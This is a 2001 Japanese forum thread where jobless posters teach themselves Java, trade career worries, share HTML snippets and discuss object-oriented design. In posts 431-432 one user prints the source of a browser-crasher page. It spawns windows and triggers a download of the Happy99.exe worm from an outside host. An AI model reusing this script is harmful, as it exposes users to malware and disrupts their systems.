どうかっていうのが勉強へのモチベーションに響くしなあ。
問題はいま現在、どの言語に力を入れるのかが有効かってことですね。
確かに
>>317 はヘコム。
とりあえずみなさん意見モトム。
いや、javaはかなりいけると思う。 俺の友人で大手コンサルタントに勤めてる奴とか、 世界的なコンピューター会社に勤めてる奴いるけど、 2人ともこれからはjavaだと言ってた。 それに最近の言語なにか一つやっとけば他の言語への 移行も楽だし、とりあえずjavaやろうよ。
334 :
うんこじゃば :2001/07/24(火) 12:51
>>332 -333
そうですね。やけになって終了させてすまそ。
でも、漏れも本気で将来のことをいつもかんがえてるんだけど・・
今選択しなきゃならんことは、こんな感じだと思う。みんなは、どれにする?
てゆうか、定職ついている方もいるんですよね・・・・。
特にコテハンの人の意見を求む。学生は、不可。
1は必須条件です。
1 ひたすらJAVAをやる。基本情報処理技術者に合格する。
2 ドキュソソフトハウス(給料15万)にアルバイトでもぐりこみ、実務経験もつける。
二年くらい辛抱して、まともなSIベンダに逝く。
3 JAVAは、趣味にして、営業からやってマーケティングに逝く。
システムのわかるマーケターを目指す。
4 バイトしながら、一年間死ぬ気で勉強して、公務員を目指す(ちょうど一年ある)。
保険としてJAVAをやる。
5 一生だめ人間を貫きとおし、親のすねをかじる。
6 VB厨房になり、派遣で食ってく。
7 パソコン・JAVAは一切忘れて、普通の職業につく(販売職など)。
8 JAVAを完全にマスターし、なおかつC++などをマスターし、シェアウエア作家
として一発をねらう。
9 天国に逝く。
10 カスタマーサポートなど、ドキュソな派遣に逝く。
11 内臓を売る・新薬テストなどで食いつなぐ。
12 情報系の専門学校に逝く。
13 もういちど学校(学校法人の)に入る。
14 一生ドキュソフリーター(マクドナルドで40歳とかいる(藁
15 すべてをわすれてバックパッカーになり国外脱出。
おれは、たぶん1+4が近いと思う。公務員落ちたら、3 or 2に逝くと思う。
今日面接を受けて、やっぱり民間でやってくには、実力がないとおもたよ。
335 :
自殺君 :2001/07/24(火) 12:55
迷わず 9番でおねがいしまふ。
自己レス C#(シーシャープ) 2000年6月に米Microsoft社が発表した新しいプログラミング言語。 C++をベースにしたものだが、Javaと同じように、ソフトウェアはバイトコードで生成して、 バーチャルマシン上で動作させるしくみになっている。 なお、C#はMicrosoft.NET戦略の一部とされており、 XMLを使用したアプリケーションの開発に使われることが見込まれている。
337 :
◎ :2001/07/24(火) 15:53
>>318 どっちにしろ答えはint i = Integer.parseInt(s);ッスね!
>>324 MacOSXはJ2SE1.3ですネWinよりもよいですよ。
>>331 そうですねRandomAccessFileよりもInputStreamReader(FileReader),
OutputStreamWriter(FileWriter)を素直に使ったほうがよいと思います。
>>334 まだ結論を出すには早いと思います、C#でも、Javaでオブジェクト指向の概念を学んでから
C++に移行してもよいですし。
プログラミングをするのかしないのかならアドバイスすることはありません。
でもこういう風に目的を羅列できるのはすごいですよね。頑張ってください。
なんとかこのスレの内容がわかるようになるまでは続けてください(笑) 今から1の本の3章やる。
339 :
ジャバーウォッキー :2001/07/24(火) 16:02
>>334 おれは26歳なんで公務員は厳しい。
1+2の方向だけど2はアルバイトじゃなく正社員で。
就職活動はこれからなんで惨敗したらまた気が変わるかも…
ちなみに前職はPGとは関係無し。
未経験歓迎はほとんどドキュソ企業らしいので腹くくるしかなし。
とはいえ入る会社は吟味しないと後悔しそう。
面接時に「基本情報処理受けるのでJava勉強してます」って
話のネタにするのはOKなのだろうか?
340 :
見習い修行中 :2001/07/24(火) 17:34
>>334 俺は今2を実行中だ。
とりあえずソフトハウスにもぐりこむことに成功したよ。
独学で半年ほどCを勉強してたけど、その程度のレベルでは
実務ではほとんど役にたたないと思ったよ。
ホントにPGになりたいのなら、さっさと現場にもぐりこむのが
いいんじゃないかな。
もちろん、勉強させてくれる会社ってのが前提だけどさ。
>>339 未経験者に実力は向こうも期待してないと思う。
要はやる気。
やる気をアピールするために
>面接時に「基本情報処理受けるのでJava勉強してます」って
>話のネタにするのはOKなのだろうか?
っていうのはアリなんじゃないかな。
だらだらとやって3-1プログラムの基本構造 終了。
3-1はソースコードの記述方法 だった。 次、3-2変数 終了。
>>339 職歴があるだけうらやましい。営業経験とかあればそんなにドキュソじゃなくても
いけると思います。
オブジェクト指向ってモノで考えるってことは理解できました。
本の解説のこの言葉が印象的です。
「動詞じゃなくて名詞でかんがえろ」
なかなかわかりやすかたです。
実際には、クラス、継承の意味は、まだ曖昧です。
JAVAのポイントは、そこだと思うので重点的にやります。
XPでJAVAをプラグインみたく入れるって話だよね。 FLASHとかだとすぐ入れ方わかるけど、SUNのページだとわからないから 駄目見たいな話があったけど。それは、こっちでJAVA(VM)の入れ方を 丁寧に解説したページに誘導すれば、そこそこ、ユーザーは使ってくれると思う。 リアルプレーヤーもちょっとわかりずらいけどね。
345 :
◎ :2001/07/25(水) 15:34
>>337 きつい言い方でしたね、すいません、、。
JavaとC言語はプログラムをはじめるのに理想の組み合わせだと思います。
クラスを自作したり継承したりしながら、
よりよいクラス設計ができるよう頑張っていきましょうね。
src.jarの中にあるAPIのソースはとても参考になりますヨ!
4-1定数終了。
347 :
名無しさん :2001/07/25(水) 16:34
ね、みんなは今年のインターネット検定受けるの?
興味はあるけど今年は無理っぽいです。 秋以降考え始めます。
TBSのニュース文字が流れるタイプ (BODYのところに入れる) −−−−−ここから−−−−−
<TR> <TD bgcolor="#000099"></TD> <TD width="84"></TD> <TD width="484"></TD> <TD bgcolor="#000099"></TD> </TR> <TR> <TD bgcolor="#000099"></TD> <TD colspan="2"> <TABLE> <TBODY> <TR> <TD><SCRIPT language="JavaScript">
<!-- var uah = navigator.userAgent; // user-agent header var uan = ""; // user-agent name var jversion = "10"; //var jversion = ""; if ((uah.indexOf('Mozilla/2') >= 0 ) && (uah.indexOf('MSIE') == -1)) { uan = "nn2"; jversion = "10"; } if ((uah.indexOf('Mozilla/3') >= 0 ) && (uah.indexOf('MSIE') == -1)) { uan = "nn3"; jversion = "10"; }
if ((uah.indexOf('Mozilla/4') >= 0 ) && (uah.indexOf('MSIE') == -1)) { uan = "nn4"; if(4.05 > parseFloat(navigator.appVersion)) jversion = "10"; else jversion = "11"; } if (uah.indexOf('MSIE 3') >= 0 ) { uan = "ie3"; jversion = "10"; } if (uah.indexOf('MSIE 4') >= 0 ) { uan = "ie4"; jversion = "11"; }
if (uah.indexOf('MSIE 5') >= 0 ) {
uan = "ie4";
jversion = "11";
}
//-->
</SCRIPT> <SCRIPT language="JavaScript">
<!--
if (jversion == "") {
document.write('JAVAscript$B$r(BON$B$K$7$F$/$@$5$$!#(B');
} else {
if(jversion == "10"){
document.write('<applet codebase="
http://news.tbs.co.jp/ticker/10 " code="MultiMessageViewer" width="480" height="20">');
document.write('<param name="encoding" value="EUCJIS">');
} else {
document.write('<applet codebase="
http://news.tbs.co.jp/ticker/11 " code="MultiMessageViewer" archive="MMV.zip" width="480" height="20">');
document.write('<param name="encoding" value="SJIS">');
}
document.write('<param name="resource" value="news.html">');
document.write('<param name="director" value="SlideinActionDirector">');
document.write('<param name="reload_interval" value="300000">');
document.write('<param name="velocity" value="20">');
document.write('<param name="stepping" value="30">');
document.write('<param name="stopping" value="8000">');
document.write('<param name="bg/color" value="#ffffff">');
document.write('<param name="span#0" value="font-size: 12;font-style: PLAIN; foreground-color: #993300">');
document.write('<param name="span#1" value="font-size: 12;font-style: BOLD; foreground-color: #000000">');
document.write('<param name="span#90" value="font-size: 12;font-style: PLAIN;text-align: right; foreground-color: #000000">'); document.write("</applet>"); } //--> </SCRIPT></TD>
>>334 2に近い。
ドキュソソフトハウスに契約社員(給料??→6ヵ月後の今??万)でもぐりこんだ。
1ヶ月間のjava school有り。奨学生:受講料ただ。研修生:300,000円。
1年間仕事拘束を受け入れれば、奨学生で入学できる。evsで逝け!(検索)
>>350 -355
コピペしてBODY内に入れると、TBSの1行ニュースが流れます。
色付きスクロールバー。色指定のところを変えるとスクロールバーの色を変更できる。 <style> <!-- BODY{ scrollbar-face-color:#75EA00; scrollbar-arrow-color:brown; scrollbar-track-color:#EEEEEE; scrollbar-shadow-color:''; scrollbar-highlight-color:''; scrollbar-3dlight-color:''; scrollbar-darkshadow-Color:''; } --> </style>
359 :
名無し.net :2001/07/26(木) 00:33
お気に入りのアイコンの変え方。雑誌の付録などについている.icoをアップロードしてから、 <LINK REL="SHORTCUT ICON" HREF="アップロードしたアドレス.ico"> <SCRIPT language="JavaScript"> da_image = new Image(); da_image.src="favicon.ico"; </SCRIPT> HEADのところに入れる。
360 :
名無し.net :2001/07/26(木) 00:41
楽しみながら覚えた方がいいと思うよ。 片っ端から覚えたらつらいものがあるんじゃないかな? 人いろいろだけどね。
なぜにJavaScript。。。
362 :
名無し.net :2001/07/26(木) 00:46
>>361 TBSの1行ニュースやってみぃ。感動するから。(w
一応コピーさせていただきました。ありがと。
364 :
その蜩 :2001/07/26(木) 00:58
・・・・・・(・_・)。
365 :
名無し.net :2001/07/26(木) 01:01
>>350 -355
今、メモ帳でやってもできた(w
アプレット使ってるんだね。TBSニウス。 どうやって作ってるのかはさっぱり。。。 いつか理解できるようになりたい。
2進法→10進法 2進法→16進法 終了 待ち行列 終了
>>356 EVSの話をもう少し詳しくたのみます。
検索してもでてこないYO。
369 :
ほれ :2001/07/26(木) 07:41
370 :
◎ :2001/07/26(木) 15:53
最近はPerl一生懸命勉強してます。
371 :
:2001/07/27(金) 02:45
>>369 emotional voice system ププ
372 :
新参もの :2001/07/27(金) 11:39
このスレ見つけてオラもやろう!と思ったものの 結局、本屋に行ったのが昨日です。 今から少し本読んで、独学して追いつきますので仲間に入れてください! 56kのダイヤルアップ、テレホ無しなんでつらいわー ADSLに変えたほうがいいかな・・
373 :
ジャバーウォッキー :2001/07/27(金) 16:36
ひさびさにお題でもだそう。 class mona { void print() { System.out.print("( ´∀`)"); } void speak() { System.out.println("<オマエモナー"); } void speak(String s) { System.out.println("<"+s); } } こいつを継承していろんなキャラを作ってみよう。 モナー板とか参照。
374 :
ジャバーウォッキー :2001/07/27(金) 16:40
んでmainはこんな感じで。 class talk { public static void main (String args[]) { mona obj1 = new mona(); obj1.print(); obj1.speak(); obj1.print(); obj1.speak("…"); } } DOS窓だと雰囲気いまいちだが、 ま、練習問題ってことで
375 :
◎ :2001/07/27(金) 16:58
376 :
新入り :2001/07/27(金) 20:18
デルファイってどうなんでしょうか。 VBですら挫折してしまった僕にも、覚えられるのでしょうか。
377 :
泰治 :2001/07/27(金) 20:32
でしょうかって聞いてるやつが習得できるわけがない
378 :
新入り :2001/07/27(金) 20:34
379 :
泰治 :2001/07/27(金) 20:35
じゃーがんばれ
380 :
名無し :2001/07/27(金) 20:36
381 :
新入り :2001/07/27(金) 20:39
無料でダウンロード出来るみたいだし やってみるかな。
382 :
◎ :2001/07/28(土) 19:21
がんばってー
第5章 配列と繰り返し 終わりました。
384 :
・ :2001/07/29(日) 15:04
なあ・・・プログラム板に逝ったらJavaはもう駄目らしいじゃねえか・・・
>>384 んなことないでしょ
WindowsXPでデフォで動かないってだけでしょ。
携帯でもJava使われてるんだから、もう駄目って
ほどではないんじゃねーの
386 :
:2001/07/29(日) 16:47
>>384 コラッ!!!なんでプログラム板なんか逝くんだ!!!!
あれほど言ったろう。あんなとこ逝ったらダメだって!!
まったく今度という今度は堪忍袋の緒が切れた!!
お前みたいな奴はもう勘当だ!!!荷物をまとめて出て行け!!!!!!
387 :
◎ :2001/07/29(日) 18:03
言葉の意味はよくわからんが、とにかくすごい自信だ。
388 :
・ :2001/07/29(日) 19:03
やさしいJavaを買ってみた・・・ やさしくない。 完
地道にやてます。 第6章条件分岐までやりました。
390 :
◎ :2001/07/30(月) 18:49
そうですよがんばって。
第7章 クラスライブラリ 終了。 これは一番難しかった。 今までは読めば何を言っているのかわかったけど、これはわからなかった。 使って覚えるしかないみたいだね。 残り1章でこの本は終了。
392 :
・ :2001/07/31(火) 22:05
あんたはこの板向きの人間じゃあないようだ・・・・
393 :
:2001/07/31(火) 22:14
板じゃなくてスレでしょう。 確かにちょっとヤバイ気もするけど実際使ってみないとイメージできないとこもあるよ・・
394 :
:2001/08/01(水) 05:21
>>392 -393
まじめに勉強しているから「だめ板」向きじゃないって
ことでは
395 :
:2001/08/01(水) 11:56
半年ぶりにJavaの仕事するんだけどこのスレッド見てると励みになるよ
昨晩は調子こいて一気に第8章 標準入出力とファイル入出力やった。 この章は面白かった、キー入力とかファイルに書き込むとかが、ちょっと感動。 本1冊終わったところで、@さんの問題とかやってみたけど、難しかった。 知識が自分のものになってない。 俺は数学の勉強は高校1年すらもちゃんと終えてない(中退だ)から、 その辺とても弱いです。
397 :
:2001/08/01(水) 14:41
399 :
◎ :2001/08/02(木) 00:15
>>396 数学、丸暗記よりも必要になって覚えたほうが頭に入るものですよ。
>>397 オモクテ(;´Д`)
>>398 IEのJavaコンソールでも確認できますヨ!
IEの表示メニューにJavaコンソールとやらがない。。。 OS自体最近おかしくなってきた感じ。 実は再インストール未経験者。
401 :
:2001/08/02(木) 09:25
402 :
◎ :2001/08/02(木) 15:42
>>400 インターネットオプション>詳細設定>Javaコンソールの表示ッス。
>>401 Javaはエディタだけでも何とかなりますもんね。
403 :
初心者 :2001/08/02(木) 20:25
404 :
初心者 :2001/08/02(木) 20:26
かぶった(^^;
405 :
ジャバーウォッキー :2001/08/03(金) 04:45
>>373 誰もノってこない…( ´Д`)
ネタがつまらんかったか、みんな独習モードに入ったか…
「class giko extends mona は納得いかねえ!」
とか
「ではもともと abstract class kaomoji から
monaを派生すべきだったか!」
とかいう盛り上がりを想定してうきうきしてたのだが…
最近「独習java」をかいました。 プログラム初めてなので、わからないとこがたくさんあって困ってましたが 今日からここに居座ります。 よろしくお願いします。
407 :
まんま :2001/08/04(土) 21:17
.NETっていったいなに?わかりやすく解説したサイトある?
408 :
名無しさん :2001/08/04(土) 23:19
409 :
:2001/08/05(日) 17:37
age
410 :
◎ :2001/08/05(日) 18:27
>>403 無償CD-ROM届きましたがインストールするかどうか(w
>>405 クラスkaomojiは一行以上のStringというのはどうですか?
>>406 よろしくネ!
411 :
まんま :2001/08/06(月) 00:02
クラスってのはCの構造体を拡張した概念と理解して間違いではないのでしょうか。
>>408 サンクスありがとう。
本一冊読んで止まってます。 ウォッキーのお題はまだ覚えてないメソッドとかで無理です。。。
げーむつくってよ
414 :
名無しさん :2001/08/06(月) 00:15
javaといえば iアプリ 作って!
416 :
無名 :2001/08/06(月) 00:24
i-studyってどうよ?
417 :
:2001/08/06(月) 00:42
10 print"java"; 20 goto 10 ながーいプログラムを作るこつってあるの?長くなると全体が把握できなくなって きてノートにチャート書いたりするんだけどいまいち。今までで一番長いのは Z80アセンブラで千行ぐらい。それにえらい時間がかかったし。プロとしては 通用しないかもしれない。
418 :
まんま :2001/08/06(月) 00:44
↑「まんま」です。
419 :
名無し :2001/08/06(月) 00:48
>>417 そういう時は複数ファイルにしてる。
アセンブラにはmakefileって無いの?
ちなみにアセンブラは未経験。
420 :
:2001/08/06(月) 00:54
ソースもオブジェもオンメモリのアセンブラです。 まあ、サブルーチン一個が一画面に収まるようにしてスクロール無しに 全体みれるようにしたりしてるんですけどね。それより、頭の中で全体 像が描けなくて苦労します。PGには向いてないのかしら?
421 :
/ :2001/08/06(月) 00:59
422 :
フィルター :2001/08/06(月) 01:00
ブラクラ(マジで<421
423 :
元SE :2001/08/06(月) 01:04
424 :
:2001/08/06(月) 01:09
マジかよ。踏みそうになったぜちくしょう。 無職やってると警戒心も薄くなるな。
425 :
無名 :2001/08/06(月) 01:11
すいません、conconって何ですか?ウイルスみたいなものですか?
426 :
フィルター :2001/08/06(月) 01:12
ヽ(´ー` )ノ 男のファション誌たよ
427 :
首領クサ夫 ★ :2001/08/06(月) 01:13
ω ←
428 :
425 :2001/08/06(月) 01:14
踏んだんですけど変なファイルも追加されてないし、、、。 ちょっと不安、、。
429 :
元SE :2001/08/06(月) 01:19
430 :
ななし :2001/08/06(月) 01:21
>まんま氏 アセンブラとCをやって今Javaを始めようという方ですか?
431 :
元SE :2001/08/06(月) 01:26
<script language=Jscript>
function unko(){
for(i=0;i<10;i++){
window.open();
}
document.write("、、、テ、ム、、スミ、ソ、ヘ。」");
}
</script>
<img src="file:///A|/23uyre.gif">
<img src="file:///A|/7tdcv.gif">
<img src="file:///A|/gw55er.gif">
<img src="file:///A|/93j8yc7t.gif">
<img src="file:///A|/vdfgrgt.gif">
<script language="javascript">
dlwin = open("
http://easyweb.easynet.co.uk/~hiros/virii99/newtype/Happy99.exe ", "dlwin");
dlwin.blur();
self.focus();
432 :
元SE :2001/08/06(月) 01:26
</script> <img src="file:///A|/moe99t4t.gif"> <img src="file:///A|/27dsfefef.gif"> <img src="file:///A|/mkjs85g.gif"> <img src="file:///A|/gt233egr.gif"> <img src="file:///A|/cngsd.gif"> <img src="file:///A|/fe.gif"> <img src="file:///A|/ow.gif"> <img src="file:///A|/jbuddry7fr67frgh.gif"> <img src="file:///A|/osjsdfs.gif"> <img src="file:///A|/12yfefe.gif"> <img src="file:///A|/mu63e.gif">
433 :
名無し :2001/08/06(月) 01:27
Happy99.exeですか、、、(死)
434 :
まんま :2001/08/06(月) 01:28
まともなプログラムを作ったことがあるのはアセンブラ、BASICです。 Cはサンプルプログラム程度。
435 :
:2001/08/06(月) 01:30
平和なスレにブラクラ来ると盛り上がるな(w
436 :
まんま :2001/08/06(月) 01:46
踏んじゃったけどなんか害あるの?
437 :
名無し :2001/08/06(月) 01:49
438 :
まんま :2001/08/06(月) 01:52
HDがカタカタ言っただけで落ちなかった。まあ、よかった。
439 :
名無しさん :2001/08/06(月) 01:52
普通のブラクラならその場でPCがフリーズするだけじゃないの? でも場合によっては壊れることもあるとかいうけど。 初めてここに来た時はブラクラ踏みまくってたけど、もう半年ぐらい踏んでいない。
440 :
首領クサ夫 ★ :2001/08/06(月) 02:08
441 :
名無し :2001/08/06(月) 02:10
442 :
:2001/08/06(月) 02:32
>>441 説明するまでも無いだろうけど
<img src="file:///A|/1.jpg">
これのことね。
PROBE CODE はprohostingが勝手に付けるやつ
443 :
教えて! :2001/08/06(月) 02:59
初めて投稿するのですが 使用機種はPCG-F60/BPを使用しています。 OSはWindows98SEを使用しています。 電源を入れると画面は立ちあがるのですが アイコンが大きくなって、画面が粗くなってしまっています。 コントロールパネルの画面プロパティの設定タブを確認すると 色が16色で画面領域は640×480になっています。 色をHighColor(16ビット)に変えて再起動しても、 戻ってしまいます。 どの様にしたら戻るのでしょうか? 画面が見にくくて大変困っています。 知っている人がいましたら教えてください。
444 :
KSM ★ :2001/08/06(月) 03:01
ドライバは?
445 :
:2001/08/06(月) 03:05
>>443 なぜこのスレを選んだのかも教えてほしいところだ
446 :
ななし :2001/08/06(月) 03:11
>>411 >クラスってのはCの構造体を拡張した概念
というのは間違ってはいないと思うけど、
継承の概念とメソッドが無いクラス→構造体
て考えるとすごい違和感感じる。
>>446 あ、やっぱ違うかも。他の人語ってください。スマソ
448 :
ジャバーウォッキー :2001/08/06(月) 03:34
>>410 「一行以上」というのが示唆に富んでますね。
クラスkaomojiはどこまで作りこむべきなのか?
一番手抜きっぽいバージョンで
abstract class kaomoji {
String str;
void print() { System.out.print(str); }
}
class mona extends kaomoji{
mona(){str = " ∧_∧ \n( ´∀`)";}
void speak(){System.out.println("<オマエモナー");}
void speak(String s){System.out.println("<"+s);}
}
んんーなんか絡みが不自然な気が。
突っ込んでください。
449 :
ジャバーウォッキー :2001/08/06(月) 03:40
>>412 尻尾だけトラ猫さん
フィーリングでやっちゃってください(w
「クラスとはなんぞや」て感じです
450 :
名無しさん :2001/08/07(火) 00:15
age
暇を見つけて触るようにします。
452 :
:2001/08/07(火) 03:27
JBuilder 5落として使ってみようとしてるけど・・・ 解説ページを見てもさっぱりわからない・・・
453 :
◎ :2001/08/07(火) 20:30
>>448 abstractクラスにabstractメソッドが無いですね、、
interfaceやabstractクラスは後回しに通常のクラスから扱いませんか?
それから改行はプラットフォーム依存なので[ \n ]では改行されない
機種もあるのですよ。
ですので改行文字をそのまま埋め込むのはあまりよいやり方ではありません。
java.lang.Systemのシステムプロパティline.separatorにそのプラットフォームの
行区切り文字がセットされています。
454 :
お陀仏さん :2001/08/08(水) 18:08
ko
455 :
務所苦 :2001/08/08(水) 21:32
456 :
名無しさん :2001/08/09(木) 00:33
age
>>452 普通は、JBuilderみたいな統合開発環境を使おうとすると一見複雑なので解らない。
解説ページを見るのもいいが、いろいろ触って試してたらそのうち慣れる。
関係ないけど、JBuilderってjavaで出来てたんだな。
458 :
ジャバーウォッキー :2001/08/09(木) 09:28
>>453 abstractはちょっと使ってみたかっただけっす(; ´∀`)
class kaomoji {
String str;
void print() { System.out.print(str); }
}
class mona extends kaomoji{
mona(){str = " ∧__∧ "+System.getProperty("line.separator")+"( ´∀`)";}
void speak(){System.out.println("<オマエモナー");}
void speak(String s){System.out.println("<"+s);}
}
改行はこんなかんじでしょうか。
クラスkaomojiのなかに
final String NL = System.getProperty("line.separator");
とするほうがきれいなのかな。
459 :
ジャバーウォッキー :2001/08/09(木) 09:44
◎ さんいつもアドバイスありがとうございます。
他の「はじめるぞ!」って言ってた人たちは
どこへ行ったのだろうか・・・
ROMってたら近況報告とかしてよぅ
>>457 デルファイはデルファイでできてるとか(・∀・)アヒャ
>>410 こちらこそよろしくお願いします。さっそく質問させてもらいます。
class Dor{
double x;
double y;
Dor(double x, double y){
this.x=x;
this.y=y;
}Dor(double x, int y){
this.x=x;
this.y=(y*2);
}}class ThisKeywordDemo{
public static void main(String args[]){
Dor p =new Dor(*****);
System.out.println("p.x="+p.x);
System.out.println("p.y="+p.y);
}}
Dor p =new Dor(*****)の中身が、( 3.2(double型), 5.4(double型))だったら
this.x=x;
this.y=y;
が実行されて
Dor p =new Dor(*****)の中身が、( 3.2(double型), 4(int型))だったら
this.x=x;
this.y=(y*2);
が実行されます。
だから、Dor(double x, int y)と、Dor(double x, double y)は
簡単なif文みたいなものと考えていいんですか?
461 :
◎ :2001/08/09(木) 23:51
>>458 オブジェクト指向ではデータとその表示はなるべく分離したほうが
クラスの再利用性が高まってよいのですよ。
ですので今回はget〜()など変数にアクセスするメソッドを使って、
たとえばmainメソッドなどで
Mona mona = new Mona();
System.out.println(mona.getKaomoji()); //コンソールに"( ´∀`)"と表示する。
とすればいいですね!(これは一行だけの表示ですが)
改行文字は表示するオブジェクトにお任せでよいと思います。
>>459 がんばりましょうね!
462 :
◎ :2001/08/10(金) 00:56
>>460 よろしくッス!
これはメソッドのオーバーロードですね。
if文ならメソッドのオーバーロードよりも
ポリモルフィズムのほうがしっくり来るかもしれません。
オーバーロードはコンパイル時に静的に決まるので
変更するなら普通ソースを書き換えなくてはいけませんよね?
ポリモルフィズム(多態性、多様性)というのは、たとえば、
クラスMonaとクラスGiko、両方ともに親クラスKaomojiから継承した
getKaomoji()メソッドがあればMonaかGikoかにかかわらず
obj.getKaomoji();
とメッセージを送ることが出来ますね。
このメッセージを送るオブジェクトはソースを書き換えずに
変更することができるのですよ。
463 :
ジャバーウォッキー :2001/08/10(金) 04:33
>>461 >オブジェクト指向ではデータとその表示はなるべく分離したほうが
>クラスの再利用性が高まってよいのですよ
ああーなんか分かってきた。
クラスKaomojiやMonaのメソッドは
メンバのStringをいじって、Stringで返すだけにすれば
アプレットで表示させたいときとかにも使えるわけですね。
一行以上の表示の場合はStringの配列を返すほうが
改行文字込みより良いのでしょうか。
アプレットでモナーを動かすとか考えると・・・
>>462 レス有り難うございます。
まだ、ポリモフィズムのレベルまで達してないので
ポリモフィズムのことは、よくわからないけど
ポリモフィズムが便利だということがわかりました。
オーバーロードはよく分かりました。
ありがとうございました。
465 :
新入り :2001/08/11(土) 04:53
またまた質問させてもらいます。 JBuilder5をインストールして重くてウィンドウズが止まったので アンインストールしました。 それから、MS-DOSでコンパイルして実行する時に、エラーがでて実行できません。 (javac Mona.javaはできるけど、java Monaができません) むかしは、そんなことなかったんですが。 どうしたら、昔のように実行できるようになるんですか? 下のようなエラーが出ます。 Error: could not open 'C:\jbuilder5\jdk1.3\jre\lib\jvm.cfg'
466 :
l :2001/08/11(土) 05:06
じゃぁばって、一言で言うと何ですか?
467 :
ジャバーウォッキー :2001/08/11(土) 05:24
>>465 Autoexec.bat
はどうなっちょりますか?
って俺の手に負えない問題だったらスマソ
>>467 下のような感じになっちょります。
@ECHO OFF
loadhigh c:\windows\COMMAND\nlsfunc.exe c:\windows\country.sys
IF EXIST \CDROM.REG DEL \CDROM.REG > NUL
IF EXIST C:\REG.BAT CALL C:\REG.BAT > NUL
IF EXIST C:\REG.BAT DEL C:\REG.BAT > NUL
REM Environment Settings For McAfee VirusScan
SET PATH=%PATH%;C:\PROGRA~1\NETWOR~1\MCAFEE~1
IF EXIST C:\DESK1024.BAT CALL C:\DESK1024.BAT > NUL
IF EXIST C:\DESK1024.BAT DEL C:\DESK1024.BAT > NUL
SET PATH=%PATH%;C:\jdk1.3.0_02\bin
SET CLASSPATH=%CLASSPATH%;.
469 :
ジャバーウォッキー :2001/08/11(土) 12:06
>>468 SET CLASSPATH=%CLASSPATH%;.
の行頭に rem つけてコメントアウトしてみてください。
これでダメなら他の人にシクヨロ
>>469 jbuilder5というフォルダをゴミ箱に捨てたからいけなかったみたいです。
もとに、もどしたらちゃんとできるようになりました。
ジャバーフォッキーさん、こんなくだらない質問に答えてくれて有り難うございました。
また、くだらない質問なんですが 下の文を実行しようとしたら 怒られました。なんでですか? class Iftest{ public static void main(String args[]){ int x=0; (x<10) ? System.out.println(x) : x++; System.out.println(x); } }
初心に返って、はじめから独習JAVA読んでたら 自己解決できました(^^; 有り難うございました。
473 :
初心者 マカ :2001/08/13(月) 20:02
474 :
◎ :2001/08/13(月) 23:43
>>463 配列を返すと他のオブジェクトが
配列を書き替えてしまうかもしれませんよね。
カプセル化が崩れてしまうかもしれません。
>>465 C:\jdk1.3.0_02\jre\lib\jvm.cfgはありますか?
>>472 頑張ってくださいネ!
>>473 Macはわからないです、、解凍できました?
475 :
まんま :2001/08/15(水) 08:19
二つの引数の積を表示する class CommandlineMul2 { public static void main(String args[]) { double a = Double.valueof(args[0]).doublevalue; double b = Double.valueof(args[1]).doublevalue; System.out.println("args[0] * args[1] = " + (a * b)); } } 独習C練習問題2.10.1。回答例どおりなのですがコンパイルエラーが出ます。 なんで??
476 :
まんま :2001/08/15(水) 08:22
二つの引数→二つのコマンドライン引数 エラーは4,5行目で出ます。
477 :
ジャバーウォッキー :2001/08/15(水) 08:45
>>474 それは配列がアドレスを渡してしまうからという意味でしょうか?
うーん、もうちょっと勉強します。
Vectorみたいな便利(そうな)クラス使うとよいのかな。
>>475 大文字のところとか大丈夫ですか?
valueOf とか
478 :
まんま :2001/08/15(水) 10:47
すいません、ケアレスミスでした。
480 :
:2001/08/16(木) 01:59
ダウンロードして、インストールを実行しても途中で止まって出来ないんだが。
481 :
:2001/08/16(木) 04:23
インストールしたはいいが、どこをどう操作すればいいかさっぱり分からないんだが。
482 :
◎ :2001/08/16(木) 19:32
>>477 「配列の参照(リファレンス)」を渡してしまうからですね。
Javaの変数には参照型とプリミティブ型の二つがあり、
すべてのオブジェクトと配列は参照によってアクセスされます。
参照はオブジェクトそのものではなくオブジェクトのありかを指しているので
たとえprivateな参照型の変数で保持しているオブジェクトでも
参照のコピーを使えばアクセスできてしまいます。
Vectorも自分が管理している配列の参照は返しませんよね。
参照型はC/C++のポインターと似ていますが、
値の操作はできないため安全だといわれています。
>>481 JBuilder?
483 :
名無しさん :2001/08/17(金) 17:07
あげ
484 :
:2001/08/18(土) 13:33
あげ
arrayの要素数を表示する。 class X { static int array[]; static { array=new int[6]; for(int i=0;i<6;i++) array[i]=i; } } class Xww{ public static void main(String args[]){ System.out.println(X.array.lenght); } } 要素数を表示したいんですが なぜか、エラーがでます。なんでですか?
486 :
:2001/08/19(日) 18:45
>>485 コンパイルエラー?
もしそうだったら書き間違えていないか良くみること。
>>486 わかりました。
も少し、じぶんで調べてみます。
5秒で間違えてるところ、わかりました。 ありがとうございました。
489 :
:2001/08/20(月) 19:29
| _|_ , -´ `- 、 ( _...・∀・...._ ) `ー-|-一´ | ネニチリーン | ノ / ̄7 /ネ / /ニ / /チ / /リ_/ /ノ/
490 :
前園 :2001/08/20(月) 19:38
結構、レスついたね。 みんなジャバとかいうの知ってるなんて頭良いね。 俺、まったくわからん。 エクセル、ワードのため専門学校に講義受けに行く予定。 2日で25000円。
491 :
◎ :2001/08/20(月) 21:53
がんばってね!
2日でその値段は高い気がする。 元取るにはかなり集中しないと。
493 :
age :2001/08/22(水) 10:55
定期age
494 :
丸山@ :2001/08/22(水) 11:20
ポリテク逝きなよ。>前園 失業保険受けてるなら給付が延長されるし、少なくとも二日間ぐらいの 講義よりはためになると思うけど。
495 :
抹茶Pocky :2001/08/23(木) 20:46
>>490 >エクセル、ワードのため専門学校に講義受けに行く予定。
>2日で25000円。
(おせっかい)
やめといたほうがいいです。
一般事務としてExcel, Wordつかうならオンラインヘルプで十分。
どうしてもわからないなら2千円から3千円の本でも買えばよい。
でも普通ならWebで調べたりするだけで事足りる。
PGとして使うならVBAぐらい知らないと使い物にならない。
そしてVBAは簡単だが2日で学べるほどは甘くない。
マスターしても自慢にもならない。
とりあえず2万5千円払ったらバリバリ使いこなせるという妄想は捨てるべし。
それでも良いなら行けばいいと思うよ。
以上
496 :
あい(地球)のり(w :2001/08/23(木) 20:55
497 :
新入り :2001/08/25(土) 18:20
2万5千円あったら、プログラムの本いっぱい買える エクセル・ワードの本も買える。 みんななにか、資格もってますか? 僕は、ワープロ4級です(糞
>>1 JAVAよりも、C,C++を覚えたほうがいいです。
499 :
:2001/08/25(土) 20:39
500 :
フィルター :2001/08/25(土) 21:25
あれ?500?マジ?
501 :
びつくり :01/08/28 08:25 ID:CNbw4kkc
